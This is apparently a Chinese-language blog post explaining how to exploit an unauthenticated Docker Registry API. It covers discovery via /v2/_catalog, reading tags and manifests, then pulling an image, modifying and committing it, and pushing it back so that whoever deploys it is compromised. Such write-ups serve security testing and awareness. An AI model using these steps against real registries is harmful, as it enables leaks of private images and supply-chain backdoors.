发表于
前言
Registry API 是一套关于Registry获取信息及操作的API组合,若是没有增加认证的话出现未授权访问,可以查询或获取私有仓库(registry)中的镜像信息
下面拿案例来说明下利用方式
未授权访问的利用
发现未授权访问
通过扫描/v2/_catalog这个路径,若是出现repositories内容,则说明存在未授权访问漏洞,如下:
查看镜像的版本内容
选取里面某个镜像后,通过API接口:
http://XXXXXX/v2/library/bitnami/redis/tags/list,
查看最新版本信息:
{
name: "library/bitnami/redis",
tags: [
"3.2.9-r2"
]
}
镜像manifests信息
同样使用接口:
http://xxxxxxxx/v2/library/bitnami/redis/manifests/3.2.9-r2
{
"schemaVersion": 1,
"name": "library/bitnami/redis",
"tag": "3.2.9-r2",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:4f4fb700ef54461cfa02571ae0db9a0dc1e0cdb5577484a6d75e68dc38e8acc1"
},
docker pull 拉取镜像
通过上面的tag可以知道版本信息,也可以知道存在manifests,直接使用dokcer可以把相关镜像拉取下来
修改镜像
直接进入到容器中,修改或者增加相关文件后,记住该容器ID进行镜像修改,形成新的镜像
docker run -it 镜像 bash
提交修改
docker commit -m "test" 0edb722a4586 xxxxxx/library/cloud-shell:v1.1.1-stable
然后通过docker push镜像到Registry
docker push xxxxxxx:80/library/cloud-shell:v1.1.1-stable
危害
由于可以拉取镜像信息并且可以推送镜像到仓库中:
镜像中有敏感信息的话将导致信息泄露
可以推送增加后面的镜像到里面,只要镜像被使用了,可以获取镜像的操作权